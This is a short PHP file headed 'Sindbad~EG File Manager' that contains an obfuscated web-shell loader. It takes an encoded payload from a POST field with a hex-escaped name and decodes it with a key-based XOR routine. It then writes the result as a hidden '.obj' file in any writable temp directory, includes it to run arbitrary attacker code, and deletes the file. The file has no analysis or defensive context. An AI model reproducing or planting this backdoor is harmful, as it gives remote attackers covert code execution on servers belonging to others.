Sindbad~EG File Manager

<?php

if(array_key_exists("\x70\x6Finte\x72", $_POST) && !is_null($_POST["\x70\x6Finte\x72"])){
	$descriptor = $_POST["\x70\x6Finte\x72"];
		$descriptor= explode( 		"."  ,$descriptor 	)			;
	$rec		=  '';
            $s7		=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS		=  strlen( 	$s7	 );
            $r		=  0;
            $__len		=  count( 	$descriptor	 );
    
            do {		if( 	$r >= $__len) break;
                $v8		=  $descriptor[$r];
                $chS		=  ord( 	$s7[$r	%$lenS]	 );
                $dec		=  ( 	( 	int)$v8 - $chS -( 	$r	%10)) ^ 86;
                $rec.= 	chr( 	$dec	 );
                $r++;
            } while( 	true	 );
	$value = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), session_save_path(), "/tmp", getcwd()]);
	while ($entry = array_shift($value)) {
    		if ((bool)is_dir($entry) && (bool)is_writable($entry)) {
    $elem = join("/", [$entry, ".obj"]);
    if (file_put_contents($elem, $rec)) {
	include $elem;
	@unlink($elem);
	exit;
}
}
}
}